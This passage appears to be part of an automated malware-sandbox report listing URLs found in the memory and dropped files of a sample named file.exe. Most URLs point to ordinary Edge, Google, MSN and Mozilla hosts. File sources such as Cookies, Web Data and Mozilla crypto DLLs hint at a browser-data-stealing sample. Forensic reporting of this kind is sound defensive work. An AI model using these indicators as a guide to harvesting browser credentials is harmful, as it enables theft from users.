Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp, CGIDHIIJKEBGHJJKFIDA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2709780978.0000000023703000.00000004.00000020.00020000.00000000.sdmp, CGIDHIIJKEBGHJJKFIDA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: Reporting and NEL.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.13.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.13.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: c6bec959-c5a2-4426-b4a6-988c764e3531.tmp.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.13.dr, 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log9.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_528.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_528.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_528.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_528.7.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://gaana.com/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: CGIDHIIJKEBGHJJKFIDA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://m.kugou.com/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://m.vk.com/
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.14.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.14.dr	String found in binary or memory: https://msn.comXIDv10
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://music.amazon.com
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://music.apple.com
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.13.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log6.13.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.13.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 2cc80dabc69f58b6_1.13.dr, 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log0.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13377284674142990.13.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.13.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.13.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://open.spotify.com
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	String found in binary or memory: https://outlook.live.com/mail/0/
